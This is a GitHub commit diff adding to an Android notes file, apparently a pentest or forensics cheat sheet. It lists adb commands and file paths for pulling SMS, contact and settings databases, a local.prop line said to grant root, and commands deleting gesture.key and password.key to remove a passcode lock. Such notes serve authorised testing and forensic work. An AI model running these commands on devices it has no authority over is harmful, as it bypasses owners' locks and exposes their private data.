Skip to content
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Next Next commit
Added more android
  • Loading branch information
wumb0 committed Oct 6, 2014
commit eebc37696c9e78b7387f0cced6522dcd79792bd1
28 changes: 25 additions & 3 deletions tech/mobile/android.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Android

##Files to grab
##Information Gathering

###Text Messages (Needs Root):

Expand All @@ -9,6 +9,14 @@
/data/data/com.android.providers/telephony/databases/mmssms.db
```

###Grab Contacts and Settings (does not need root):

```
adb shell content query --uri content://contacts/phones
adb shell content query --uri content://settings/secure
adb shell content query --uri content://settings/global
```

###Contacts (Needs Root):

```
Expand Down Expand Up @@ -36,15 +44,29 @@
/data/local.prop
```

###Device Settings:

```
/system/build.prop
```

##Misc.

If you can write to this file the following line will grant root:

```
echo "ro.kernel.qemu=1" > /data/local.prop
```

###Device Settings:
Start an application via adb shell:

```
/system/build.prop
am start -a android.intent.activity.MAIN -n com.application.identifier/.ActivityID
```

Remove passcode lock (Need Root):

```
adb shell rm /data/system/gesture.key
adb shell rm /data/system/password.key
```